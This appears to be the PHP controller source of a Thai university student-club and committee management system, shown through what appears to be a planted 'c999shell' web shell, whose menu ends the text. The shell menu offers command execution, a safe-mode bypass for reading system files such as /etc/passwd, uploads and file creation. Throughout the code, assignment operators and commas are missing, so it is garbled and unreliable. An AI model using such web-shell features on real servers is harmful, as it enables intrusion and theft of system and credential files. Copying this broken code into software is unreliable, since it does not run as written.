$this->load->model($this->config->item('sa_folder').'sa_position_model','pos_');
            
$pos_ $this->pos_;
            
$pos_->pos_id trim($this->input->post('pos_id'));
            
$pos_->get_by_key(TRUE);
            
            
$limit $pos_->pos_num;
            
$flash = array();
            if(
$this->input->post('cmt_id')){
                if(
$limit!='M'){
                    
$cmt->cmt_id $this->input->post('cmt_id');
                    
$qu_old $cmt->get_by_key();
                    
$row_old = ($qu_old->num_rows() > 0) ? $qu_old->row() : NULL;
                    
                    if(
$row_old->cmt_pos_id != $this->input->post('pos_id') or $row_old->cmt_year != $this->input->post('tmc_year') or $row_old->cmt_cl_id != $this->input->post('cl_id')){
                        
$cmt->cmt_year trim($this->input->post('tmc_year'));
                        
$cmt->cmt_cl_id trim($this->input->post('cl_id'));
                        
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                        
$rs_cmt $cmt->getByYearAndPosAndCl();
                        
                        
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
                        
$flash['cmt_id'] = trim($this->input->post('cmt_id'));
                        
$flash['pos_id'] = trim($this->input->post('pos_id'));
                        
$flash['cl_id'] = trim($this->input->post('cl_id'));
                        
                        if(
$rs_cmt->num_rows() >= $limit){
                            
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน และมีการบันทึกไปแล้ว';
                            
$this->session->set_flashdata('error'$flash);
                            
redirect($this->config->item('sa_folder').'smo_club/club_pos'); 
                            exit();
                        }
                    }
                }
            }else{
                if(
$limit!='M'){
                    
$cmt->cmt_year trim($this->input->post('tmc_year'));
                    
$cmt->cmt_cl_id trim($this->input->post('cl_id'));
                    
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                    
$rs_cmt $cmt->getByYearAndPosAndCl();
                    
                    
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
                    
$flash['pos_id'] = trim($this->input->post('pos_id'));
                    
$flash['cmt_fr_date'] = trim($this->input->post('cmt_fr_date'));
                    
$flash['cl_id'] = trim($this->input->post('cl_id'));
                    if(
$rs_cmt->num_rows() >= $limit){
                        
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน และมีการบันทึกไปแล้ว';
                        
$this->session->set_flashdata('error'$flash);
                        
redirect($this->config->item('sa_folder').'smo_club/club_pos'); 
                        exit();
                    }else if(
count($a)>$limit){
                        
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน';
                        
$this->session->set_flashdata('error'$flash);
                        
redirect($this->config->item('sa_folder').'smo_club/club_pos'); 
                        exit();
                    }
                }
            }

            foreach (
$a as $value) {
                
$v explode(":"$value);

                
$query_std $std->get_std_id($v[0]);
                
$row $query_std->row();

                
$cmt->cmt_id trim($this->input->post('cmt_id'));
                
$cmt->cmt_year trim($this->input->post('tmc_year'));
                
$cmt->cmt_cl_id trim($this->input->post('cl_id'));
                
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                
$cmt->cmt_std_id $row->stdId;
                
$cmt->cmt_fr_date splitDateForm2($this->input->post('cmt_fr_date'),'-');

                if (
$cmt->cmt_id) {
                    
$cmt->update();
                } else {
                    
$cmt->insert();
                }
            }
            
            
$flash = array();
            
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
            
$flash['cl_id'] = trim($this->input->post('cl_id'));
            
$this->session->set_flashdata('error'$flash);
            
            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }
           
redirect($this->config->item('sa_folder').'smo_club/club_pos'); 
        }

    }

    function 
smo_pos($cl_id ''){
        if(
$this->session->flashdata('error')){
            
$error $this->session->flashdata('error');
            
$data['error'] = $error;
        }
        
$cl_id = (isset($error['cmt_id']))? $error['cmt_id']:$this->input->post('cmt_id');

        
$this->load->model($this->config->item('rg_folder').'mo_rg_termconfig','tmc');
        
$tmc $this->tmc;
        
$data['rs_tmc'] = $tmc->get_options();

        
$this->load->model($this->config->item('sa_folder').'sa_position_model','pos_');
        
$pos_ $this->pos_;
        
$pos_->pos_type 1;
        
$data['rs_pos'] = $pos_->get_options_by_type();

        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt $this->cmt;
        
        
$cmt->cmt_id $cl_id;
        
$qu_cmt $cmt->get_edit();
        
$data['qu_cmt'] = $qu_cmt;
        
$row_cmt = ($qu_cmt->num_rows() > 0) ? $qu_cmt->row() : NULL;
        
//$cmt->cmt_cl_id = $cl_id;
        
if($this->input->post('tmc_year')==true){
            
$year $this->input->post('tmc_year');
        }else{
            
$year = ((isset($error['tmc_year']))? $error['tmc_year'] : ((set_value('tmc_year',getval('cmt_year',$row_cmt))=="")? $this->session->userdata('acY'):set_value('tmc_year',getval('cmt_year',$row_cmt))));
        }
        
$data['year'] = $year;
        
$data['rs_cmt'] = $cmt->get_by_type_year(1,$year);

        
$this->output("v_smo_pos"$data);
    }

    function 
add_smo_pos(){
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<br><font color="red">','</font>');

        
$this->form_validation->set_rules('tmc_year'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('pos_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('cmt_fr_date'' ''trim|required|xss_clean');
        if (
$this->input->post('cmt_id') == '') {
            
$this->form_validation->set_rules('std_id''รหัส/ชื่อ-สกุลนักศึกษา''required|xss_clean');
        }
        
        if (
$this->form_validation->run() == FALSE) {
            
$this->smo_pos();
        } else {
            
$this->db->trans_begin();

            
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
            
$cmt $this->cmt;
            
//$this->load->model($this->config->item('sa_folder').'sa_student_model','std');
            //$std = $this->std;
            //$a = explode("###", ($this->input->post('std') ? //$this->input->post('std') : $this->input->post('wk11_co')));
            
$i 0;
            
            
$this->load->model($this->config->item('sa_folder').'sa_position_model','pos_');
            
$pos_ $this->pos_;
            
$pos_->pos_id trim($this->input->post('pos_id'));
            
$pos_->get_by_key(TRUE);
            
            
$limit $pos_->pos_num;
            
$flash = array();
            if(
$this->input->post('cmt_id')){
                if(
$limit!='M'){
                    
$cmt->cmt_id $this->input->post('cmt_id');
                    
$qu_old $cmt->get_by_key();
                    
$row_old = ($qu_old->num_rows() > 0) ? $qu_old->row() : NULL;
                
                    if(
$row_old->cmt_pos_id != $this->input->post('pos_id') or $row_old->cmt_year != $this->input->post('tmc_year')){
                        
$cmt->cmt_year trim($this->input->post('tmc_year'));
                        
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                        
$rs_cmt $cmt->getByYearAndPos();

                        
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
                        
$flash['cmt_id'] = trim($this->input->post('cmt_id'));
                        
$flash['pos_id'] = trim($this->input->post('pos_id'));
                        if(
$rs_cmt->num_rows() >= $limit){
                            
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน และมีการบันทึกไปแล้ว';
                            
$this->session->set_flashdata('error'$flash);
                            
redirect($this->config->item('sa_folder').'smo_club/smo_pos');
                            
//$this->smo_pos();                    
                            
exit();
                        }
                    }
                }
                
            }else{
                if(
$limit!='M'){
                
$cmt->cmt_year trim($this->input->post('tmc_year'));
                
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                
$rs_cmt $cmt->getByYearAndPos();

                
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
                
$flash['pos_id'] = trim($this->input->post('pos_id'));
                
$flash['cmt_fr_date'] = trim($this->input->post('cmt_fr_date'));
                    if(
$rs_cmt->num_rows() >= $limit){
                        
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน และมีการบันทึกไปแล้ว';
                        
$this->session->set_flashdata('error'$flash);
                        
redirect($this->config->item('sa_folder').'smo_club/smo_pos'); 
                        exit();
                    }else if(
count($a)>$limit){
                        
$flash['msg'] = '<br />ตำแหน่งนี้มีได้ '.$limit.' คน';
                        
$this->session->set_flashdata('error'$flash);
                        
redirect($this->config->item('sa_folder').'smo_club/smo_pos'); 
                        exit();
                    }
                }
            }

            foreach (
$this->input->post('std_id') as $std_id) {

                
$cmt->cmt_id trim($this->input->post('cmt_id'));
                
$cmt->cmt_year trim($this->input->post('tmc_year'));
                
$cmt->cmt_cl_id 0;
                
$cmt->cmt_pos_id trim($this->input->post('pos_id'));
                
$cmt->cmt_std_id $std_id;
                
$cmt->cmt_fr_date splitDateForm2($this->input->post('cmt_fr_date'),'-');

                if (
$cmt->cmt_id) {
                    
$cmt->update();
                } else {
                    
$cmt->insert();
                }
            }
            
$flash = array();
            
$flash['tmc_year'] = trim($this->input->post('tmc_year'));
            
$this->session->set_flashdata('error'$flash);
            
            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }

            
redirect($this->config->item('sa_folder').'smo_club/smo_pos'); 
        }

    }

    function 
del_smo_pos($id) {
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt$this->cmt;
        
$cmt->cmt_id $id;
        
$cmt->delete();

        
redirect($this->config->item('sa_folder').'smo_club/smo_pos');
    }



    function 
mb_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">''</div>');
        
$this->form_validation->set_rules('mb_id'' ''trim|xss_clean');
        
//$this->form_validation->set_rules('type', ' ', 'trim|required|is_natural_no_zero|xss_clean');

        
$mb_id $this->input->post('mb_id');
        
//$type = $this->input->post('type');

        //if ($mb_id) {
        //    $this->form_validation->set_rules('std', ' ', 'trim|required|xss_clean');
        //} else {
            
$this->form_validation->set_rules('wk11_co''รหัส/ชื่อ-สกุลนักศึกษา''trim|required|xss_clean');
        
//}
/*
        if ($type == 1) {
            $this->form_validation->set_rules('mb_smo_id', ' ', 'trim|required|xss_clean');
        } else if ($type == 2) {
            $this->form_validation->set_rules('mb_cl_id', ' ', 'trim|required|xss_clean');
        } else if ($type == 3) {
            $this->form_validation->set_rules('mb_mpj_id', ' ', 'trim|required|xss_clean');
        } else if ($type == 4) {
            $this->form_validation->set_rules('mb_mpj_id', ' ', 'trim|required|xss_clean');
            $this->form_validation->set_rules('mb_acp_id', ' ', 'trim|required|xss_clean');
        }
*/
        
$this->form_validation->set_rules('mb_year'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('mb_fr_date'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('mb_to_date'' ''trim|required|xss_clean');

        if (
$this->form_validation->run() == FALSE) {
            
$this->attend();
        } else {
            
$this->db->trans_begin();

            
$this->load->model($this->config->item('rg_folder').'mo_rg_student','std');
            
$this->load->model($this->config->item('sa_folder').'sa_member_model','mb');

            
$rs explode("###", ($this->input->post('std') ? $this->input->post('std') : $this->input->post('wk11_co')));
            foreach (
$rs as $value) {
                
$std explode(":"$value);

                
$con_qu_std = array('stdCode' => $std[0]);
                
$qu_std $this->std->qryStd($con_qu_std);
                if (
$qu_std->num_rows()) {
                    
$this->mb->mb_id $mb_id;
                    
$this->mb->get_by_key(TRUE);

    
$this->mb->mb_std_id $qu_std->row()->stdId;
/*    $this->mb->mb_smo_id = ($type == 1) ? $this->input->post('mb_smo_id') : NULL;
    $this->mb->mb_cl_id = ($type == 2) ? $this->input->post('mb_cl_id') : NULL;
    $this->mb->mb_mpj_id = ($type == 3) ? $this->input->post('mb_mpj_id') : NULL;
    $this->mb->mb_acp_id = ($type == 4) ? $this->input->post('mb_acp_id') : NULL;
*/
    
$this->mb->mb_smo_id $this->input->post('mb_smo_id');
    
$this->mb->mb_cl_id $this->input->post('mb_cl_id');
    
//$this->mb->mb_mpj_id = $this->input->post('mb_mpj_id');
    //$this->mb->mb_acp_id = $this->input->post('mb_acp_id');
                    
$this->mb->mb_year trim($this->input->post('mb_year'));
                    
$this->mb->mb_fr_date splitDateForm2($this->input->post('mb_fr_date'), '/');
                    
$this->mb->mb_to_date splitDateForm2($this->input->post('mb_to_date'), '/');

                    if (
$mb_id) {
                        
$this->mb->update();
                    } else {
                        
$this->mb->insert();
                    }
                }
            }

            if (
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }

            
redirect($this->config->item('sa_folder').'smo_club/attend');
        }
    }

    function 
get_club($smo_id=''){
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$this->sc->sc_type 2;
        
$this->sc->sc_parentId $smo_id;//$this->input->get_post('smo_id',TRUE);
        
$rs_club $this->sc->get_optionsByTypePR();
        
//echo $this->db->last_query();
        
$js "id='cl_id'";//onChange=\"change_smo()\"
        
echo form_dropdown('cl_id'$rs_club$this->input->get_post('cl_id',TRUE),$js);
    }

    function 
mb_search(){
        
//$mb_id = $this->input->post('mb_id');
        //$type = $this->input->post('type');

        
$mb_smo_id $this->input->post('mb_smo_id');
        
$mb_cl_id $this->input->post('mb_cl_id');
        
$mb_year $this->input->post('mb_year');
        
$mb_fr_date $this->input->post('mb_fr_date') ? splitDateForm2($this->input->post('mb_fr_date'), '-') : getNowDate();
        
$mb_to_date $this->input->post('mb_to_date') ? splitDateForm2($this->input->post('mb_to_date'), '-') : getNowDate();
        
$rs explode("###"$this->input->post('wk11_co'));

        
//echo "$mb_fr_date, $mb_to_date, $mb_year, $rs[0], $mb_smo_id";

        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mb');
        
//$data['rs_mb'] = $this->mb->get_by_cond($mb_fr_date, $mb_to_date, $mb_year, $rs[0], $mb_smo_id, $mb_cl_id);

        
$this->mb->mb_sm_id $mb_smo_id;
        
$this->mb->mb_cl_id $mb_cl_id;
        
$this->mb->mb_fr_date $mb_fr_date;
        
$this->mb->mb_to_date $mb_to_date;

        
$data['rs_mb'] = $this->mb->get_by_cond2();
//echo $this->db->last_query();
        //$this->attend();

        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$this->sc->sc_type 1;
        
$rs_smo $this->sc->get_optionsByType();
        
$data['rs_smo'] = $rs_smo;
        
$this->sc->sc_type 2;
        
$data['rs_cl'] = $this->sc->get_optionsByType();
        
$this->output("v_sc_attend",$data);

    }
    function 
mb_delete () {
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mb');
        
$mb_id $this->input->post('mb_id');
        
$this->mb->mb_id $mb_id;
        
$this->mb->delete();
        
redirect($this->config->item('sa_folder').'smo_club/attend');
    }

    function 
attend(){
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$this->sc->sc_type 1;
        
$rs_smo $this->sc->get_optionsByType();
        
$data['rs_smo'] = $rs_smo;
        
$this->sc->sc_type 2;
        
$data['rs_cl'] = $this->sc->get_optionsByType();
        
$this->load->model($this->config->item('sa_folder').'regist_model','tmc');
        
$qry $this->tmc->get_acY();
        
$arr = array();
        foreach(
$qry->result() as $row){
            
$arr[$row->tmcAcY] = $row->tmcAcY;
        }
        
$data['rs_acY'] = $arr;

        
$this->output("v_sc_attend",$data);
    }

    function 
mbs_insert(){
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">''</div>');
        
$this->form_validation->set_rules('year'' ''trim|xss_clean');
        
$this->form_validation->set_rules('smo_id''สโมสร''trim|required|xss_clean');

        
$list_type $this->input->post('list_type');

        if(
$list_type==3){
            
$this->form_validation->set_rules('facebook-demo''รหัส/ชื่อ-สกุลนักศึกษา''required|xss_clean');
        }
        if (
$this->form_validation->run() == FALSE) {
            
$this->attend(TRUE);
        } else {


            
$mb_smo_id $this->input->post('smo_id');
            
$mb_cl_id $this->input->post('cl_id');

            
$sc_id = ($mb_cl_id!='')?$mb_cl_id:$mb_smo_id;

            
$mb_year $this->input->post('year');
            
$mb_fr_date $this->input->post('fr_date') ? splitDateForm2($this->input->post('fr_date'), '-') : getNowDate();
            
$mb_to_date $this->input->post('to_date') ? splitDateForm2($this->input->post('to_date'), '-') : getNowDate();

            
$this->load->model($this->config->item('sa_folder').'sa_member_sc_model','mbs');
            
$mbs $this->mbs;
            
$mbs->mbs_sc_id $sc_id;
            
$mbs->mbs_year $mb_year;
            
$mbs->mbs_fr_date $mb_fr_date;
            
$mbs->mbs_to_date $mb_to_date;

            if(
$list_type==1){
                
//ค้นหารายชื่อนักศึกษาทุกคนในปีการศึกษาที่เลือก
                
$this->load->model($this->config->item('sa_folder').'regist_model','std');
                
$this->std->rgAcY $mb_year;
                
$query $this->std->list_std();
                foreach(
$query->result() as $row){
                    
$mbs->mbs_std_id $row->stdId;
                    
$mbs->insert();
                }
            }elseif(
$list_type==2){
                
$this->load->model($this->config->item('sa_folder').'regist_model','std');
                
$this->std->rgAcY $mb_year;
                
$this->std->rgCurId $this->input->post('curId');
                
$this->std->rgSyId $this->input->post('syId');
                
$query $this->std->list_std();
                foreach(
$query->result() as $row){
                    
$mbs->mbs_std_id $row->stdId;
                    
$mbs->insert();
                }

            }elseif(
$list_type==3){
                
$list $this->input->post('facebook-demo');
                foreach(
$list as $val){
                    
$mbs->mbs_std_id $val;
                    
$mbs->insert();
                }
            }
            
$this->attend();
        }
    }

    
/*
        committee function
    */
    
function committee($val_arr=null){
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$this->sc->sc_type 1;
        
$rs_smo $this->sc->get_optionsByType();
        
$data['rs_smo'] = $rs_smo;
        
$this->load->model($this->config->item('sa_folder').'regist_model','tmc');
        
$qry $this->tmc->get_acY();
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt$this->cmt;
        
$cmt->cmt_id trim($this->input->post('cmt_id'));
        
$cmt->get_by_key(TRUE);
        
        
$arr = array();
        
$arr[''] = '- ทั้งหมด -';
        foreach(
$qry->result() as $row){
            
$arr[$row->tmcAcY] = $row->tmcAcY;
        }
        
$data['rs_acY'] = $arr;
        
$data['val_arr'] = $val_arr//(($val_arr)? $val_arr : $cmt);
        
$this->output("v_sc_committee",$data);
    }

    function 
cmt_insert(){
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');

        
$this->form_validation->set_rules('year''ปีการศึกษาที่เข้าร่วม''required|xss_clean');
        
$this->form_validation->set_rules('smo_id''ชื่อสโมสร''trim|required|xss_clean');
        
$this->form_validation->set_rules('cl_id''ชื่อชมรม''trim|xss_clean');
        
$this->form_validation->set_rules('pos_id','ตำแหน่ง''trim|required|xss_clean');
        
$this->form_validation->set_rules('fr_date''วันที่แต่งตั้ง''trim|required|xss_clean');
        
$this->form_validation->set_rules('std_id''รหัส/ชื่อ-สกุลนักศึกษา''xss_clean');

        
$val_arr = (object)'val_arr';
        
$val_arr->year $this->input->post('year');
        
$val_arr->smo_id $this->input->post('smo_id');
        
$val_arr->cl_id $this->input->post('cl_id');
        
$val_arr->pos_id $this->input->post('pos_id');
        
$val_arr->fr_date $this->input->post('fr_date');
        
$val_arr->cmt_id $this->input->post('cmt_id');
        if (
$this->form_validation->run() == FALSE ||$this->input->post('std_id')=='') {
            
$this->committee($val_arr);
        } else {
            
$sc_id = ($val_arr->cl_id!='')?$val_arr->cl_id:$val_arr->smo_id;
            
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
            
$this->load->model($this->config->item('sa_folder').'sa_position_model','post');
            
$post $this->post;
            
$post->pos_id trim($this->input->post('pos_id'));
            
$post->get_by_key(TRUE);
            
$limit $post->pos_num;

            
$this->cmt->cmt_year trim($val_arr->year);
            
$this->cmt->cmt_sc_id trim($sc_id);
            
$this->cmt->cmt_pos_id trim($val_arr->pos_id);
            
$this->cmt->cmt_fr_date splitDateForm2($val_arr->fr_date);
            
//$this->cmt->cmt_to_date = trim();
            
$std $this->input->post('std_id');
            foreach(
$std as $std_id){
                
$this->cmt->cmt_std_id $std_id;
                
$qu_std $this->cmt->chk_std();
                
                if (
$qu_std->num_rows()==0) {
                    if (
$limit != 'M') {
                        
$qu_pos $this->cmt->getByYearAndPosAndCl();
                        if(
$qu_pos->num_rows $limit) {
                            
$cn 1;
                        } else {
                            
$cn 0;
                            
$this->load->vars(array('error_pos' => "<font color='red'>ตำแหน่งนี้ครบตามจำนวนแล้ว</font>"));
                        }
                    } else {
                        
$cn 1;
                    }
                    if(
$cn) {
                        if (
$this->input->post('cmt_id')) {
                            
$this->cmt->update();
                        } else {
                            
$this->cmt->insert();
                        }
                        
//echo $this->db->last_query();
                    
}
                } else {
                    
$this->load->vars(array('error_name' => "<font color='red'>นักศึกษามีตำแหน่งอยู่แล้ว</font>"));
                }
            }
            
$this->committee();
        }
    }

    function 
cmt_show(){
        
$data['smo_id'] = $this->input->get_post('smo_id',TRUE);
        
$data['cl_id'] = $this->input->get_post('cl_id',TRUE);
        
$data['year'] = $this->input->get_post('year',TRUE);
        
$data['std_id'] = $this->input->get_post('std_id',TRUE);
        
$sc_id = ($data['cl_id']!='')?$data['cl_id']:$data['smo_id'];

        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$this->cmt->cmt_year $data['year'];
        
$this->cmt->cmt_sc_id $sc_id;
        
$this->cmt->cmt_std_id $data['std_id'];
        
$data['rs_cmt']= $this->cmt->rs_cmt();
        echo 
$this->view("v_sc_showCmt",$data);
    }

    function 
del_cmt($id) {
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt$this->cmt;
        
$cmt->cmt_id $id;
        
$cmt->delete();

        
redirect($this->config->item('sa_folder').'smo_club/committee');
    }

    function 
choose_club() {
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mm');
        
$this->load->model($this->config->item('sa_folder').'sa_student_model','std');
        
$mm$this->mm;
        
$std$this->std;
        
        
$qu_std $std->get_std_id($this->session->userdata('UsPsCode'));
        if (
$qu_std->num_rows()) {
            
$row $qu_std->row();
            
$mm->mb_std_id =  $row->stdId;
        } else {
            
$mm->mb_std_id 0;
        }
            
$mm->mb_year $this->session->userdata('acY');
            
$mm->mb_tmId $this->session->userdata('tmId');
            
$data['rs_club'] = $mm->get_ct_by_type();
            
$data['rs_mm'] = $mm->get_std_member();

        
$this->output("v_choose_club"$data);
    }

    function 
add_mb_club() {
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mm');
        
$this->load->model($this->config->item('sa_folder').'sa_student_model','std');
        
$mm$this->mm;
        
$std$this->std;

        
$qu_std $std->get_std_id($this->session->userdata('UsPsCode'));
        if (
$qu_std->num_rows()) {
            
$row $qu_std->row();
            
$mm->mb_year $this->session->userdata('acY');
            
$mm->mb_tmId $this->session->userdata('tmId');
            
$mm->mb_cl_id $this->input->post('mb_cl_id');
            
$mm->mb_std_id $row->stdId;
            
$mm->mb_syId $row->stdSyId;
            
$mm->mb_fr_date date('Y-m-d');
            
$mm->mb_to_date date('Y-m-d');

            
$mm->insert();
        }
        
redirect($this->config->item('sa_folder').'smo_club/choose_club');
    }
    
/*
        end committee function
    */
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0335 ]--